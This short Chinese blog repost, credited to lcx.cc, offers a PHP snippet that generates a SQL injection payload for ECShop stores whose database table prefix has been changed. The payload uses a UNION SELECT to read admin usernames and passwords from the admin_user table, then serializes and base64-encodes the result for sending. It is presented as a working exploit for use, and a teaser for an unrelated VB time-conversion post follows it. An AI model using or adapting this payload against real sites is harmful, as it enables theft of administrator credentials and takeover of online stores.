【漏洞】ecshop前缀修改后的注入代码

解决ecshop数据库前缀修改后不能注入的问题

$p="ecs_";
$p=isset($_REQUEST['pre'])?$_REQUEST['pre']:$p;
$arr=array("1') and 1=2 GROUP BY goods_id union all select concat(user_name,0x3a,password,'"') union select 1#"'),1 from ".$p."admin_user#"=>"1");
$exp = array("attr"=>$arr); 
$exp = base64_encode(serialize($exp));  
//echo $exp;
?>
=$exp?>

文章来源于lcx.cc:【漏洞】ecshop前缀修改后的注入代码

相关推荐: 【VB】VB 时长转换/时间转换为*天*时*分*秒

    VB 时长转换/时间转换，VB 时长转换，VB 时间转换，VB 时长，VB 时间，VB 把时长转换为*天*时*分*秒，VB 时长转换为*天*时*分*秒，VB 时长转为*天*时*分*秒，VB 时间转为*天*时*分*秒，VB *天*时*分*秒，VB Tim…